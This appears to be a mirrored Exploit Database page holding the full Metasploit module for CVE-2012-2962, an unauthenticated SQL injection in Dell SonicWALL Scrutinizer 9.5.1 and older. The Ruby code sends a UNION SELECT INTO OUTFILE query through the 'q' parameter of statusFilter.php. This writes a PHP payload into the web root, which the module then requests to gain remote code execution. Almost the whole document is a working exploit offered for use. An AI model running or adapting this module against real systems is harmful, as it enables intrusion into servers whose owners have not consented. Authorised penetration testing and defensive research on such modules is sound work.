Dell SonicWALL Scrutinizer 9 – SQL Injection (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2012-08-03
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/20204/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "Dell SonicWALL Scrutinizer 9 SQL Injection",
  			'Description'=> %q{
  					This module exploits a vulnerability found in Dell SonicWall Scrutinizer.
  				While handling the 'q' parameter, the PHP application does not properly filter
  				the user-supplied data, which can be manipulated to inject SQL commands, and
  				then gain remote code execution.Please note that authentication is NOT needed
  				to exploit this vulnerability.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'muts',
  					'dookie',
  					'sinn3r'
  				],
  			'References' =>
  				[
  					['CVE', '2012-2962'],
  					['OSVDB', '84232'],
  					['EDB', '20033'],
  					['BID', '54625'],
  					['URL', 'http://www.sonicwall.com/shared/download/Dell_SonicWALL_Scrutinizer_Service_Bulletin_for_SQL_injection_vulnerability_CVE.pdf']
  				],
  			'Payload'=>
  				{
  					'BadChars' => "\x00"
  				},
  			'Platform' => 'php',
  			'Arch' => ARCH_PHP,
  			'Targets'=>
  				[
  					# According to advisory, version 9.5.1 and before are vulnerable.
  					# But was only able to test this on 9.0.1.0
  					['Dell SonicWall Scrutinizer 9.5.1 or older', {}]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Jul 22 2012",
  			'DefaultTarget'=> 0))
  
  			register_options(
  				[
  					OptString.new('TARGETURI', [true, 'The path to the SonicWall Scrutinizer\'s statusFilter file', '/d4d/statusFilter.php']),
  					OptString.new('HTMLDIR', [true, 'The HTML root directory for the web application', 'C:\\Program Files\\Scrutinizer\\html\\'])
  				], self.class)
  	end
  
  
  	def check
  		res = send_request_raw({'uri'=>target_uri.host})
  		if res and res.body =~ /\<title\>Scrutinizer\<\/title\>/ and
  		 res.body =~ /\<div id\=\'.+\'\>Scrutinizer 9\.[0-5]\.[0-1]\<\/div\>/
  			return Exploit::CheckCode::Vulnerable
  		end
  
  		return Exploit::CheckCode::Safe
  	end
  
  
  	def exploit
  		peer = "#{rhost}:#{rport}"
  		p = "<?php #{payload.encoded} ?>"
  		hex_payload = p.unpack("H*")[0]
  		php_fname = Rex::Text.rand_text_alpha(5) + ".php"
  		rnd_txt = Rex::Text.rand_text_alpha_upper(3)
  
  		print_status("#{peer} - Sending SQL injection...")
  		res = send_request_cgi({
  			'uri' => target_uri.path,
  			'method'=> 'POST',
  			'vars_post' => {
  				'commonJson' => 'protList',
  				'q' => "#{rnd_txt}' union select 0x#{hex_payload},0 into outfile '../../html/d4d/#{php_fname}'#"
  			}
  		})
  
  		if res and res.body !~ /No Results Found/
  			print_error("#{peer} - I don't think the SQL Injection attempt worked")
  			return
  		elsif not res
  			print_error("#{peer} - No response from the server")
  			return
  		end
  
  		# For debugging purposes, this is useful
  		vprint_status(res.to_s)
  
  		target_path = "#{File.dirname(target_uri.path)}/#{php_fname}"
  		print_status("#{peer} - Requesting: #{target_path}")
  		send_request_raw({'uri' => target_path})
  
  		handler
  	end
  end